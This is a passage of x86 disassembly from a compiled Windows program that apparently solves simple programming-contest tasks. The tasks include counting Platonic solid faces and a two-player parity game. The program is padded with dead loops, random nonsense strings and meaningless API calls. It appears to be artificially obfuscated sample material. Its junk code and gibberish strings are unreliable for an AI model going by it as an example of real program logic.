jmp 0x4d7c81
mov eax, dword [ebp - 0x93c]
inc eax
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x93c], 0x37ed
jge 0x4d7d14
and dword [ebp - 0xe7c], 0
jmp 0x4d7ca7
mov eax, dword [ebp - 0xe7c]
inc eax
mov dword [ebp - 0xe7c], eax
cmp dword [ebp - 0xe7c], 0x5bdc
jge 0x4d7d0f
mov ecx, dword [ebp - 0x1064]
imul ecx, dword [ebp - 0x93c]
add ecx, dword [ebp - 0xe7c]
mov eax, dword [ebp - 0x944]
shl eax, cl
cdq
mov dword [ebp - 0x1fbc], eax
mov dword [ebp - 0x1fb8], edx
push dword [ebp - 0x1fb8]
push dword [ebp - 0x1fbc]
lea ecx, [ebp - 0x3b70]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3b70]
call fcn.00401711
jmp 0x4d7c9a
jmp 0x4d7c74
jmp 0x4d7c4e
jmp 0x4d7c28
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowTextA]
and dword [ebp - 0x94c], 0
jmp 0x4d7d40
mov eax, dword [ebp - 0x94c]
inc eax
mov dword [ebp - 0x94c], eax
cmp dword [ebp - 0x94c], 0x1d34
jge 0x4d7dd1
and dword [ebp - 0x954], 0
jmp 0x4d7d66
mov eax, dword [ebp - 0x954]
inc eax
mov dword [ebp - 0x954], eax
cmp dword [ebp - 0x954], 0x1eef
jge 0x4d7dcc
mov eax, dword [ebp - 0xfcc]
imul eax, dword [ebp - 0x94c]
and eax, dword [ebp - 0xe84]
xor eax, dword [ebp - 0x954]
cdq
mov dword [ebp - 0x1fc8], eax
mov dword [ebp - 0x1fc4], edx
push dword [ebp - 0x1fc4]
push dword [ebp - 0x1fc8]
lea ecx, [ebp - 0x3528]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3528]
call fcn.00401711
jmp 0x4d7d59
jmp 0x4d7d33
cmp dword [ebp - 0x15d0], 0x5edc
jge 0x4d7de9
push dword [ebp - 0x1e10]
call fcn.004f1488
pop ecx
jmp 0x4d7bde
cmp dword [ebp - 0x19d8], 0x4494
jge 0x4d7fc1
mov dword [ebp - 0x26b4], 0x15de
cmp dword [ebp - 0x26b4], 0xa3a
jge 0x4d7fb1
lea eax, [ebp - 0x1338]
push eax
mov ecx, 0xac75e0
call fcn.00417279
xorpd xmm0, xmm0
movlpd qword [ebp - 0xb8], xmm0
lea ecx, [ebp - 0x2c68]
call fcn.004016ac
mov eax, dword [ebp - 0x1338]
mov dword [ebp - 0x1e1c], eax
mov eax, dword [ebp - 0x1338]
dec eax
mov dword [ebp - 0x1338], eax
cmp dword [ebp - 0x1e1c], 0
je 0x4d7f84
lea edx, [ebp - 0x2c68]
mov ecx, 0xac75e0
call fcn.0041c6ac
mov edx, str.Tetrahedron
lea ecx, [ebp - 0x2c68]
call fcn.0041c289
movzx eax, al
test eax, eax
je 0x4d7eab
mov eax, dword [ebp - 0xb8]
add eax, 4
mov ecx, dword [ebp - 0xb4]
adc ecx, 0
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
mov edx, str.Cube
lea ecx, [ebp - 0x2c68]
call fcn.0041c289
movzx eax, al
test eax, eax
je 0x4d7ee0
mov eax, dword [ebp - 0xb8]
add eax, 6
mov ecx, dword [ebp - 0xb4]
adc ecx, 0
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
mov edx, str.Octahedron
lea ecx, [ebp - 0x2c68]
call fcn.0041c289
movzx eax, al
test eax, eax
je 0x4d7f15
mov eax, dword [ebp - 0xb8]
add eax, 8
mov ecx, dword [ebp - 0xb4]
adc ecx, 0
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
mov edx, str.Dodecahedron
lea ecx, [ebp - 0x2c68]
call fcn.0041c289
movzx eax, al
test eax, eax
je 0x4d7f4a
mov eax, dword [ebp - 0xb8]
add eax, 0xc
mov ecx, dword [ebp - 0xb4]
adc ecx, 0
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
mov edx, str.Icosahedron
lea ecx, [ebp - 0x2c68]
call fcn.0041c289
movzx eax, al
test eax, eax
je 0x4d7f7f
mov eax, dword [ebp - 0xb8]
add eax, 0x14
mov ecx, dword [ebp - 0xb4]
adc ecx, 0
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
jmp 0x4d7e40
push fcn.0041c2ab
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
mov ecx, 0xac7538
call fcn.004178b5
mov ecx, eax
call fcn.00417675
lea ecx, [ebp - 0x2c68]
call fcn.00401711
mov edx, dword [ebp - 0x2a78]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d7ae9
mov dword [ebp - 0x1970], 0x327d
mov dword [ebp - 0x1e40], str.aeuvu_exfpsgwut_xceapch_vororect_ulbf_bsdf_lpuhjv_nfimbsrv_dvimf
cmp dword [ebp - 0x1970], 0x354b
jle 0x4d8081
and dword [ebp - 0x10b4], 0
jmp 0x4d8000
mov eax, dword [ebp - 0x10b4]
inc eax
mov dword [ebp - 0x10b4], eax
cmp dword [ebp - 0x10b4], 0x7eca
jge 0x4d8081
and dword [ebp - 0x95c], 0
jmp 0x4d8022
mov eax, dword [ebp - 0x95c]
inc eax
mov dword [ebp - 0x95c], eax
cmp dword [ebp - 0x95c], 0x52cd
jge 0x4d807c
mov eax, dword [ebp - 0x10b4]
imul eax, dword [ebp - 0x95c]
cdq
mov dword [ebp - 0x1fd4], eax
mov dword [ebp - 0x1fd0], edx
push dword [ebp - 0x1fd0]
push dword [ebp - 0x1fd4]
lea ecx, [ebp - 0x39a8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x39a8]
call fcn.00401711
jmp 0x4d8015
jmp 0x4d7ff3
and dword [ebp - 0x964], 0
jmp 0x4d8097
mov eax, dword [ebp - 0x964]
inc eax
mov dword [ebp - 0x964], eax
cmp dword [ebp - 0x964], 0x7f26
jge 0x4d8603
mov eax, dword [ebp - 0xe8c]
imul eax, dword [ebp - 0x964]
cdq
mov dword [ebp - 0x1ff8], eax
mov dword [ebp - 0x1ff4], edx
mov dword [ebp - 0x15e0], 0x4b1d
mov dword [ebp - 0x28d8], str.drobc_ohvbgh_apfjwlqg_rbgddvy_qvraq_qmba_cdhvnulf_lbetskjt_vmldw_nibv_mxktxorlm
cmp dword [ebp - 0x15e0], 0x4d60
jle 0x4d8390
and dword [ebp - 0xfd4], 0
jmp 0x4d80fb
mov eax, dword [ebp - 0xfd4]
inc eax
mov dword [ebp - 0xfd4], eax
cmp dword [ebp - 0xfd4], 0x4c8b
jge 0x4d8390
and dword [ebp - 0x96c], 0
jmp 0x4d8121
mov eax, dword [ebp - 0x96c]
inc eax
mov dword [ebp - 0x96c], eax
cmp dword [ebp - 0x96c], 0x5ba8
jge 0x4d838b
and dword [ebp - 0xe94], 0
jmp 0x4d8147
mov eax, dword [ebp - 0xe94]
inc eax
mov dword [ebp - 0xe94], eax
cmp dword [ebp - 0xe94], 0x6256
jge 0x4d8386
mov eax, dword [ebp - 0xfd4]
imul eax, dword [ebp - 0x96c]
mov ecx, dword [ebp - 0xe94]
shl eax, cl
cdq
mov dword [ebp - 0x1fe0], eax
mov dword [ebp - 0x1fdc], edx
mov dword [ebp - 0x1e28], 0x13d6
cmp dword [ebp - 0x1e28], 0x61b
jge 0x4d836b
lea eax, [ebp - 0x15d8]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov dword [ebp - 0x974], 1
jmp 0x4d81bd
mov eax, dword [ebp - 0x974]
inc eax
mov dword [ebp - 0x974], eax
mov eax, dword [ebp - 0x974]
cmp eax, dword [ebp - 0x15d8]
jg 0x4d81e5
mov eax, dword [ebp - 0x974]
lea eax, [eax*4 + 0x2b280f8]
push eax
mov ecx, 0xac75e0
call fcn.00417279
jmp 0x4d81b0
lea ecx, [ebp - 0x2f58]
call fcn.004016ac
lea edx, [ebp - 0x2f58]
mov ecx, 0xac75e0
call fcn.0041c6ac
push 4
pop eax
imul eax, eax, 0
and dword [eax + 0x2a64bd0], 0
mov dword [ebp - 0x2e4], 1
jmp 0x4d8226
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
lea ecx, [ebp - 0x2f58]
call fcn.0040175f
cmp dword [ebp - 0x2e4], eax
ja 0x4d826f
mov eax, dword [ebp - 0x2e4]
dec eax
push eax
lea ecx, [ebp - 0x2f58]
call fcn.0040174b
movsx eax, byte [eax]
mov ecx, dword [ebp - 0x2e4]
mov ecx, dword [ecx*4 + 0x2a64bcc]
lea eax, [eax + ecx - 0x30]
mov ecx, dword [ebp - 0x2e4]
mov dword [ecx*4 + 0x2a64bd0], eax
jmp 0x4d8219
mov dword [ebp - 0x44], 1
jmp 0x4d827f
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x15d8]
jg 0x4d8345
mov eax, dword [ebp - 0x44]
mov eax, dword [eax*4 + 0x2b280f8]
cmp eax, dword [ebp - 0x44]
je 0x4d8340
mov eax, dword [ebp - 0x44]
mov eax, dword [eax*4 + 0x2b280f8]
cmp eax, dword [ebp - 0x44]
jge 0x4d82f9
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
sub ecx, dword [eax*4 + 0x2b280f8]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax*4 + 0x2b280f8]
mov edx, dword [ebp - 0x44]
mov edx, dword [edx*4 + 0x2a64bcc]
sub edx, dword [eax*4 + 0x2a64bcc]
cmp ecx, edx
je 0x4d82f7
push fcn.0041c2ab
mov edx, 0xab5938
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
jmp 0x4d8340
mov eax, dword [ebp - 0x44]
mov eax, dword [eax*4 + 0x2b280f8]
sub eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx*4 + 0x2b280f8]
mov edx, dword [ebp - 0x44]
mov ecx, dword [ecx*4 + 0x2a64bcc]
sub ecx, dword [edx*4 + 0x2a64bcc]
cmp eax, ecx
je 0x4d8340
push fcn.0041c2ab
mov edx, 0xab5938
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
jmp 0x4d8278
push fcn.0041c2ab
mov edx, 0xab5934
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
lea ecx, [ebp - 0x2f58]
call fcn.00401711
push dword [ebp - 0x1fdc]
push dword [ebp - 0x1fe0]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d813a
jmp 0x4d8114
jmp 0x4d80ee
mov dword [ebp - 0x1830], 0x54f7
mov dword [ebp - 0x1e34], str.anok_aqtvslc_bda_unxy_qgnulobf_fnepvmlyv_pis_vmott_aukp
cmp dword [ebp - 0x1830], 0x58a6
jle 0x4d8594
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
mov dword [ebp - 0x26bc], 0x1db8
cmp dword [ebp - 0x26bc], 0x1381
jge 0x4d84de
lea eax, [ebp - 0x106c]
push eax
mov ecx, 0xac75e0
call fcn.004173b8
lea ecx, [ebp - 0x2ca0]
call fcn.004e9d51
cmp dword [ebp - 0x106c], 0
jle 0x4d8454
mov eax, dword [ebp - 0x106c]
and eax, 0x80000001
jns 0x4d840f
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x4d841c
mov byte [ebp - 0xa5], 1
jmp 0x4d8423
mov byte [ebp - 0xa5], 0
mov al, byte [ebp - 0xa5]
mov byte [ebp - 0x1ad], al
lea eax, [ebp - 0x1ad]
push eax
lea ecx, [ebp - 0x2ca0]
call fcn.004e9d7b
mov eax, dword [ebp - 0x106c]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x106c], eax
jmp 0x4d83f4
lea ecx, [ebp - 0x2ca0]
call fcn.00417c53
dec eax
mov dword [ebp - 0x488], eax
jmp 0x4d8475
mov eax, dword [ebp - 0x488]
dec eax
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0
jl 0x4d84c4
push dword [ebp - 0x488]
lea eax, [ebp - 0x30a4]
push eax
lea ecx, [ebp - 0x2ca0]
call fcn.00417c57
mov ecx, eax
call fcn.00417c9b
movzx eax, al
test eax, eax
je 0x4d84c2
mov eax, dword [ebp - 0x488]
inc eax
push eax
mov ecx, 0xac7538
call fcn.00417681
mov edx, 0xab59f0
mov ecx, eax
call fcn.0041c2dd
jmp 0x4d8468
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
lea ecx, [ebp - 0x2ca0]
call fcn.00417c4a
and dword [ebp - 0x97c], 0
jmp 0x4d84f4
mov eax, dword [ebp - 0x97c]
inc eax
mov dword [ebp - 0x97c], eax
cmp dword [ebp - 0x97c], 0x3444
jge 0x4d8588
and dword [ebp - 0xe9c], 0
jmp 0x4d851a
mov eax, dword [ebp - 0xe9c]
inc eax
mov dword [ebp - 0xe9c], eax
cmp dword [ebp - 0xe9c], 0x2986
jge 0x4d8583
and dword [ebp - 0x984], 0
jmp 0x4d853c
mov eax, dword [ebp - 0x984]
inc eax
mov dword [ebp - 0x984], eax
cmp dword [ebp - 0x984], 0x6a7c
jge 0x4d8581
mov eax, dword [ebp - 0x97c]
mov ecx, dword [ebp - 0xe9c]
sar eax, cl
and eax, dword [ebp - 0x984]
cdq
mov dword [ebp - 0x1fec], eax
mov dword [ebp - 0x1fe8], edx
push dword [ebp - 0x1fe8]
push dword [ebp - 0x1fec]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d852f
jmp 0x4d850d
jmp 0x4d84e7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MulDiv]
push dword [ebp - 0x1ff4]
push dword [ebp - 0x1ff8]
lea ecx, [ebp - 0x3558]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3558]
call fcn.00401711
cmp dword [ebp - 0x1830], 0x51e2
jge 0x4d85e2
mov edx, dword [ebp - 0x1e34]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x15e0], 0x48f6
jge 0x4d85fe
mov edx, dword [ebp - 0x28d8]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4d808a
cmp dword [ebp - 0x1970], 0x306d
jge 0x4d861b
push dword [ebp - 0x1e40]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x15e8], 0x72f1
jge 0x4d8633
push dword [ebp - 0x26c4]
call fcn.004f1488
pop ecx
jmp 0x4d78d0
mov dword [ebp - 0x15f8], 0x2184
mov dword [ebp - 0x28e0], str.gfa_vrqtwsd_vcqtv_ptr_pag_bgwxsvo_hmou_mbpu_gclhcivwo_flrgkg
mov dword [ebp - 0x1a28], 0x1cb3
mov dword [ebp - 0x1e64], str.lhudauhf_uxt_nkajmfoa_uintu_ommyc_lcctv_wkf_sliprbs_xwvvhpq_nnew_mwkfkbfrw_qijjqolr_siiglk
cmp dword [ebp - 0x1a28], 0x1f17
jle 0x4d8965
mov dword [ebp - 0x1e4c], 0x2011
cmp dword [ebp - 0x1e4c], 0xc9a
jge 0x4d86e5
lea eax, [ebp - 0x29e8]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov eax, dword [ebp - 0x29e8]
and eax, 0x80000001
jns 0x4d86a9
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jle 0x4d86ca
push fcn.0041c2ab
mov edx, str.Ehab
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
jmp 0x4d86e5
push fcn.0041c2ab
mov edx, str.Mahmoud
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
and dword [ebp - 0xea4], 0
jmp 0x4d86fb
mov eax, dword [ebp - 0xea4]
inc eax
mov dword [ebp - 0xea4], eax
cmp dword [ebp - 0xea4], 0x671f
jge 0x4d8955
mov dword [ebp - 0x1e58], 0x146e
cmp dword [ebp - 0x1e58], 0x85d
jge 0x4d88fd
lea eax, [ebp - 0x98c]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov eax, dword [ebp - 0x98c]
shl eax, 1
push eax
lea ecx, [ebp - 0x1a34]
call fcn.004179d7
and dword [ebp - 0xfdc], 0
jmp 0x4d8760
mov eax, dword [ebp - 0xfdc]
inc eax
mov dword [ebp - 0xfdc], eax
mov eax, dword [ebp - 0x98c]
shl eax, 1
cmp dword [ebp - 0xfdc], eax
jge 0x4d878e
push dword [ebp - 0xfdc]
lea ecx, [ebp - 0x1a34]
call fcn.00417bb8
push eax
mov ecx, 0xac75e0
call fcn.00417279
jmp 0x4d8753
and dword [ebp - 0x1240], 0
and dword [ebp - 0x144], 0
jmp 0x4d87ab
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
cmp eax, dword [ebp - 0x98c]
jge 0x4d88d6
mov eax, dword [ebp - 0x144]
shl eax, 1
push eax
lea ecx, [ebp - 0x1a34]
call fcn.00417bb8
mov esi, eax
mov eax, dword [ebp - 0x144]
lea eax, [eax + eax + 1]
push eax
lea ecx, [ebp - 0x1a34]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
je 0x4d88d1
or dword [ebp - 0x1838], 0xffffffff
mov eax, dword [ebp - 0x144]
lea eax, [eax + eax + 2]
mov dword [ebp - 0x3d8], eax
jmp 0x4d8819
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
mov eax, dword [ebp - 0x98c]
shl eax, 1
cmp dword [ebp - 0x3d8], eax
jge 0x4d8866
push dword [ebp - 0x3d8]
lea ecx, [ebp - 0x1a34]
call fcn.00417bb8
mov esi, eax
mov eax, dword [ebp - 0x144]
shl eax, 1
push eax
lea ecx, [ebp - 0x1a34]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x4d8864
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x1838], eax
jmp 0x4d8866
jmp 0x4d880c
mov eax, dword [ebp - 0x1838]
mov dword [ebp - 0x450], eax
jmp 0x4d8881
mov eax, dword [ebp - 0x450]
dec eax
mov dword [ebp - 0x450], eax
mov eax, dword [ebp - 0x144]
lea eax, [eax + eax + 1]
cmp dword [ebp - 0x450], eax
je 0x4d88d1
push dword [ebp - 0x450]
lea ecx, [ebp - 0x1a34]
call fcn.00417bb8
mov esi, eax
mov eax, dword [ebp - 0x450]
dec eax
push eax
lea ecx, [ebp - 0x1a34]
call fcn.00417bb8
mov edx, esi
mov ecx, eax
call fcn.0041c233
mov eax, dword [ebp - 0x1240]
inc eax
mov dword [ebp - 0x1240], eax
jmp 0x4d8874
jmp 0x4d879e
push fcn.0041c2ab
push dword [ebp - 0x1240]
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
lea ecx, [ebp - 0x1a34]
call fcn.00417aef
and dword [ebp - 0x994], 0
jmp 0x4d8913
mov eax, dword [ebp - 0x994]
inc eax
mov dword [ebp - 0x994], eax
cmp dword [ebp - 0x994], 0x2eb8
jge 0x4d8950
mov eax, dword [ebp - 0xea4]
xor eax, dword [ebp - 0x994]
cdq
mov dword [ebp - 0x2004], eax
mov dword [ebp - 0x2000], edx
push dword [ebp - 0x2000]
push dword [ebp - 0x2004]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d8906
jmp 0x4d86ee
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
cmp dword [ebp - 0x15f8], 0x2567
jle 0x4d8b8d
and dword [ebp - 0xeb4], 0
jmp 0x4d898b
mov eax, dword [ebp - 0xeb4]
inc eax
mov dword [ebp - 0xeb4], eax
cmp dword [ebp - 0xeb4], 0x3cb9
jge 0x4d8b83
mov dword [ebp - 0x15f0], 0x2391
mov dword [ebp - 0x26cc], str.lpiuo_yqtbroak_lvs
cmp dword [ebp - 0x15f0], 0x23c1
jle 0x4d8ac7
and dword [ebp - 0x9a4], 0
jmp 0x4d89d5
mov eax, dword [ebp - 0x9a4]
inc eax
mov dword [ebp - 0x9a4], eax
cmp dword [ebp - 0x9a4], 0x3b58
jge 0x4d8abf
and dword [ebp - 0x10dc], 0
jmp 0x4d89fb
mov eax, dword [ebp - 0x10dc]
inc eax
mov dword [ebp - 0x10dc], eax
cmp dword [ebp - 0x10dc], 0x3ec7
jge 0x4d8aba
and dword [ebp - 0x99c], 0
jmp 0x4d8a21
mov eax, dword [ebp - 0x99c]
inc eax
mov dword [ebp - 0x99c], eax
cmp dword [ebp - 0x99c], 0x4a53
jge 0x4d8ab5
and dword [ebp - 0xeac], 0
jmp 0x4d8a47
mov eax, dword [ebp - 0xeac]
inc eax
mov dword [ebp - 0xeac], eax
cmp dword [ebp - 0xeac], 0x4111
jge 0x4d8ab0
mov eax, dword [ebp - 0x10dc]
mov ecx, dword [ebp - 0x99c]
shl eax, cl
mov ecx, dword [ebp - 0xeac]
sar eax, cl
and eax, dword [ebp - 0x9a4]
cdq
mov dword [ebp - 0x2010], eax
mov dword [ebp - 0x200c], edx
push dword [ebp - 0x200c]
push dword [ebp - 0x2010]
lea ecx, [ebp - 0x3ba0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3ba0]
call fcn.00401711
jmp 0x4d8a3a
jmp 0x4d8a14
jmp 0x4d89ee
jmp 0x4d89c8
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
and dword [ebp - 0xfe4], 0
jmp 0x4d8add
mov eax, dword [ebp - 0xfe4]
inc eax
mov dword [ebp - 0xfe4], eax
cmp dword [ebp - 0xfe4], 0x67e
jge 0x4d8b66
and dword [ebp - 0x9ac], 0
jmp 0x4d8aff
mov eax, dword [ebp - 0x9ac]
inc eax
mov dword [ebp - 0x9ac], eax
cmp dword [ebp - 0x9ac], 0x1462
jge 0x4d8b61
mov eax, dword [ebp - 0xfe4]
cdq
idiv dword [ebp - 0x9ac]
add edx, dword [ebp - 0xeb4]
mov eax, edx
cdq
mov dword [ebp - 0x201c], eax
mov dword [ebp - 0x2018], edx
push dword [ebp - 0x2018]
push dword [ebp - 0x201c]
lea ecx, [ebp - 0x3588]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3588]
call fcn.00401711
jmp 0x4d8af2
jmp 0x4d8ad0
cmp dword [ebp - 0x15f0], 0x2375
jge 0x4d8b7e
push dword [ebp - 0x26cc]
call fcn.004f1488
pop ecx
jmp 0x4d897e
push 0
push 0
call dword [sym.imp.GDI32.dll_SetTextColor]
cmp dword [ebp - 0x1a28], 0x1c9b
jge 0x4d8ba9
mov edx, dword [ebp - 0x1e64]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x1668], 0x57c8
cmp dword [ebp - 0x15f8], 0x1f73
jge 0x4d8bcb
push dword [ebp - 0x28e0]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1600], 0x5f97
mov dword [ebp - 0x26d4], str.awfydc_ikovjdwc_jptmuht_bfqlrjvw_xtteob_qxqckxpq_aknhy_oyorf_aih_tgcjh_qrfhwh_dfqhfe_umncu
cmp dword [ebp - 0x1600], 0x628e
jle 0x4d8cd4
and dword [ebp - 0x9b4], 0
jmp 0x4d8c05
mov eax, dword [ebp - 0x9b4]
inc eax
mov dword [ebp - 0x9b4], eax
cmp dword [ebp - 0x9b4], 0x454d
jge 0x4d8cc8
and dword [ebp - 0x1074], 0
jmp 0x4d8c2b
mov eax, dword [ebp - 0x1074]
inc eax
mov dword [ebp - 0x1074], eax
cmp dword [ebp - 0x1074], 0x37a2
jge 0x4d8cc3
and dword [ebp - 0x9bc], 0
jmp 0x4d8c51
mov eax, dword [ebp - 0x9bc]
inc eax
mov dword [ebp - 0x9bc], eax
cmp dword [ebp - 0x9bc], 0x6c15
jge 0x4d8cbe
and dword [ebp - 0xebc], 0
jmp 0x4d8c73
mov eax, dword [ebp - 0xebc]
inc eax
mov dword [ebp - 0xebc], eax
cmp dword [ebp - 0xebc], 0x4558
jge 0x4d8cbc
mov eax, dword [ebp - 0x9b4]
sub eax, dword [ebp - 0x1074]
add eax, dword [ebp - 0x9bc]
xor eax, dword [ebp - 0xebc]
cdq
mov dword [ebp - 0x2028], eax
mov dword [ebp - 0x2024], edx
push dword [ebp - 0x2024]
push dword [ebp - 0x2028]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d8c66
jmp 0x4d8c44
jmp 0x4d8c1e
jmp 0x4d8bf8
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
cmp dword [ebp - 0x1840], 0x4a9a
jge 0x4d8cec
push dword [ebp - 0x1e70]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1600], 0x5f55
jge 0x4d8d08
mov edx, dword [ebp - 0x26d4]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x2774], str.ugi_wcroxqyy_pouc_tlfwwdhj
cmp dword [ebp - 0x1668], 0x59bd
jle 0x4dac30
mov dword [ebp - 0x19e0], 0x677e
mov dword [ebp - 0x1978], 0x4df0
mov dword [ebp - 0x1e7c], str.sre_stmsifvug_vacnhbaf_qvqa_mhorx_sbq_yvoxtg_rrmy_hskyfr_ikubescjd_ynobshhx_girxcylre_yclak_xqdu
cmp dword [ebp - 0x1978], 0x50db
jle 0x4d8e17
and dword [ebp - 0x9cc], 0
jmp 0x4d8d66
mov eax, dword [ebp - 0x9cc]
inc eax
mov dword [ebp - 0x9cc], eax
cmp dword [ebp - 0x9cc], 0x5f0c
jge 0x4d8e17
and dword [ebp - 0x9c4], 0
jmp 0x4d8d8c
mov eax, dword [ebp - 0x9c4]
inc eax
mov dword [ebp - 0x9c4], eax
cmp dword [ebp - 0x9c4], 0x5c26
jge 0x4d8e12
and dword [ebp - 0xfec], 0
jmp 0x4d8dae
mov eax, dword [ebp - 0xfec]
inc eax
mov dword [ebp - 0xfec], eax
cmp dword [ebp - 0xfec], 0x6d37
jge 0x4d8e0d
mov eax, dword [ebp - 0x9c4]
sub eax, dword [ebp - 0xfec]
xor eax, dword [ebp - 0x9cc]
cdq
mov dword [ebp - 0x2034], eax
mov dword [ebp - 0x2030], edx
push dword [ebp - 0x2030]
push dword [ebp - 0x2034]
lea ecx, [ebp - 0x3bd0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3bd0]
call fcn.00401711
jmp 0x4d8da1
jmp 0x4d8d7f
jmp 0x4d8d59
mov dword [ebp - 0x1ec4], str.xbm_vxwoqut_jxljgyby_ybjciks_wns_woatl_ien_fekv
cmp dword [ebp - 0x1978], 0x4d38
jge 0x4d8e39
push dword [ebp - 0x1e7c]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x19e0], 0x6b28
jle 0x4d901e
and dword [ebp - 0xec4], 0
jmp 0x4d8e5f
mov eax, dword [ebp - 0xec4]
inc eax
mov dword [ebp - 0xec4], eax
cmp dword [ebp - 0xec4], 0x3019
jge 0x4d901e
and dword [ebp - 0x9d4], 0
jmp 0x4d8e85
mov eax, dword [ebp - 0x9d4]
inc eax
mov dword [ebp - 0x9d4], eax
cmp dword [ebp - 0x9d4], 0x7abb
jge 0x4d9019
mov dword [ebp - 0x2aa0], 0x1614
cmp dword [ebp - 0x2aa0], 0x926
jge 0x4d8f69
lea eax, [ebp - 0x26dc]
push eax
lea eax, [ebp - 0x1e88]
push eax
push str._d__d_n
call fcn.004f117c
add esp, 0xc
and dword [ebp - 0x1340], 0
and dword [ebp - 0x13e4], 0
jmp 0x4d8ee7
mov eax, dword [ebp - 0x13e4]
inc eax
mov dword [ebp - 0x13e4], eax
mov eax, dword [ebp - 0x13e4]
cmp eax, dword [ebp - 0x1e88]
jge 0x4d8f57
and dword [ebp - 0x1248], 0
jmp 0x4d8f0b
mov eax, dword [ebp - 0x1248]
inc eax
mov dword [ebp - 0x1248], eax
mov eax, dword [ebp - 0x1248]
cmp eax, dword [ebp - 0x26dc]
jge 0x4d8f55
lea eax, [ebp - 0x28e8]
push eax
lea eax, [ebp - 0x1e94]
push eax
push 0xab5690
call fcn.004f117c
add esp, 0xc
cmp dword [ebp - 0x1e94], 0
jne 0x4d8f46
cmp dword [ebp - 0x28e8], 0
je 0x4d8f53
mov eax, dword [ebp - 0x1340]
inc eax
mov dword [ebp - 0x1340], eax
jmp 0x4d8efe
jmp 0x4d8eda
push dword [ebp - 0x1340]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
and dword [ebp - 0x4d8], 0
jmp 0x4d8f7f
mov eax, dword [ebp - 0x4d8]
inc eax
mov dword [ebp - 0x4d8], eax
cmp dword [ebp - 0x4d8], 0x7b61
jge 0x4d9014
and dword [ebp - 0x9dc], 0
jmp 0x4d8fa5
mov eax, dword [ebp - 0x9dc]
inc eax
mov dword [ebp - 0x9dc], eax
cmp dword [ebp - 0x9dc], 0x247e
jge 0x4d900f
mov eax, dword [ebp - 0xec4]
cdq
idiv dword [ebp - 0x9d4]
add edx, dword [ebp - 0x4d8]
mov ecx, dword [ebp - 0x9dc]
sar edx, cl
mov eax, edx
